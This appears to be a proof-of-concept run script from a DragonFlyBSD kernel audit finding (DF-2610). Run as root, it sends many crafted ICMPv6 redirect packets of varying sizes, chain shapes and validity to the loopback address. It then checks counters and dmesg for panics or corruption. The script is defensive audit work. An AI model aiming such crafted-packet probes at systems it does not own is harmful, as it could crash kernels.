DragonFlyBSD Kernel Audit
DF-2610 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-2610 canonical run (as root): attempt every userspace-reachable mbuf
# shape for an ND_REDIRECT (type 137) delivered to ::1 and watch for
# panic/corruption; prove traversal via icp6s_inhist[137] + nd6log output.
set -x
cd /root/poc
sysctl net.inet6.icmp6.nd6_debug
sysctl net.inet6.icmp6.rediraccept
echo BEFORE:
./ic6stat
# valid-ish redirect (src linklocal + hlim 255): traverses the whole
# validation block incl. the 2196-2197 reads and rtpurelookup
./redir6 -h 255 -S fe80::1 ::1
# 2. sizes: single mbuf (<= MHLEN+prependspace) and chains (> MHLEN)
./redir6 -s 48 -h 255 -S fe80::1 ::1
./redir6 -s 100 -h 255 -S fe80::1 ::1
./redir6 -s 150 -h 255 -S fe80::1 ::1
./redir6 -s 200 -h 255 -S fe80::1 ::1
./redir6 -s 256 -h 255 -S fe80::1 ::1
./redir6 -s 300 -h 255 -S fe80::1 ::1
./redir6 -s 512 -h 255 -S fe80::1 ::1
./redir6 -s 1000 -h 255 -S fe80::1 ::1
./redir6 -s 2000 -h 255 -S fe80::1 ::1
./redir6 -s 2048 -h 255 -S fe80::1 ::1
./redir6 -s 2100 -h 255 -S fe80::1 ::1
./redir6 -s 3000 -h 255 -S fe80::1 ::1
./redir6 -s 8000 -h 255 -S fe80::1 ::1
# 3. multi-iov chain-shaping attempts
./redir6 -s 100 -v 2 -h 255 -S fe80::1 ::1
./redir6 -s 300 -v 2 -h 255 -S fe80::1 ::1
./redir6 -s 300 -v 8 -h 255 -S fe80::1 ::1
./redir6 -s 2048 -v 2 -h 255 -S fe80::1 ::1
# 4. invalid variants: bad hlim, non-linklocal src
./redir6 -h 64 -S fe80::1 ::1
./redir6 -h 255 ::1
# 5. burst
./redir6 -s 100 -n 50 -p 20000 -h 255 -S fe80::1 ::1
echo ALIVE_AFTER_SENDS
sleep 1
echo AFTER:
./ic6stat
echo DMESG_REDIRECT_LINES:
dmesg | grep -i 'redirect' | tail -8
uptime